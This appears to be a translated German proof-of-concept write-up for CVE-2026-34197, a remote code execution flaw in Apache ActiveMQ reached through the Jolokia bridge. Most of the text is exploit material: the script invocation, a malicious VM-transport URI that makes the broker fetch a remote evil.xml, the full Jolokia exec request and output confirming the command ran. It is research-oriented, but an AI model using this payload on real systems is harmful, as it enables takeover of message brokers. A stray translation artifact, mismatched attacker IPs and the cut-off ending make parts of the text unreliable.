
Proof-of-Concept-Exploit für CVE-2026-34197, der authentifizierte Remote-Codeausführung in Apache ActiveMQ über die Jolokia JMX-HTTP-Brücke und Spring-XML-Bean-Injektion demonstriert.
Beschreibung
Unsachgemäße Eingabevalidierung, unsachgemäße Kontrolle der Codegenerierung ('Code Injection') Schwachstelle in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic legt die Jolokia JMX-HTTP-Brücke unter /api/jolokia/ auf der Webkonsole offen. Die standardmäßige Jolokia-Zugriffsrichtlinie erlaubt exec-Operationen auf allen ActiveMQ-MBeans (org.apache.activemq:*), einschließlich BrokerService.addNetworkConnector(String) und BrokerService.addConnector(String). Ein authentifizierter Angreifer kann diese Operationen mit einer manipulierten Discovery-URI aufrufen, die den brokerConfig-Parameter des VM-Transports auslöst, um einen entfernten Spring-XML-Anwendungskontext mittels ResourceXmlApplicationContext zu laden. Da Spring's ResourceXmlApplicationContext alle Singleton-Beans instanziiert, bevor BrokerService die Konfiguration validiert, kommt es durch Bean-Factory-Methoden wie Runtime.exec() zur Ausführung beliebigen Codes auf der JVM des Brokers. Dieses Problem betrifft Apache ActiveMQ Broker: vor 5.19.4, ab 6.0.0 vor 6.2.3; Apache ActiveMQ All: vor 5.19.4, ab 6.0.0 vor 6.2.3; Apache ActiveMQ: vor 5.19.4, ab 6.0.0 vor 6.2.3. Benutzern wird empfohlen, auf Version 5.19.4 oder 6.2.3 zu aktualisieren, die das Problem behebt.
Weitere Informationen unter: link
Github: link```bash ❯ docker compose up -d
[No input content provided to translate.]```bash
❯ python3 exploit_poc.py auto \
--target http://localhost:8161 \
--lhost 192.168.1.32 --lport 9999 \
--cmd "touch /tmp/blahblah.txt"
======================================================================
CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
For authorized security testing and research only.
======================================================================
[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
"request": {
"mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
"arguments": [
"static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
],
"type": "exec",
"operation": "addNetworkConnector(java.lang.String)"
},
"value": "NC",
"timestamp": 1775616523,
"status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
LHOST ist die private IP-Adresse des Computers. Sie können ipconfig unter Windows oder ifconfig unter Linux verwenden
Überprüfen der RCE```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
=> RCE erfolgreich, die Datei `blahblah.txt` wurde auf dem Zielsystem erstellt.
# Analysephase
## Dynamische Analyse```bash
❯ docker exec activemq-vuln java -version
openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar
Die Laufzeitprotokolle bestätigten auch, dass Jolokia aktiviert und über die ActiveMQ-Web-Konsole exponiert war:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
Verbindung überprüfen```bash
❯ curl -i -u admin:admin \
-H 'Origin: http://localhost:8161' \
http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked
{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}
Das bedeutet: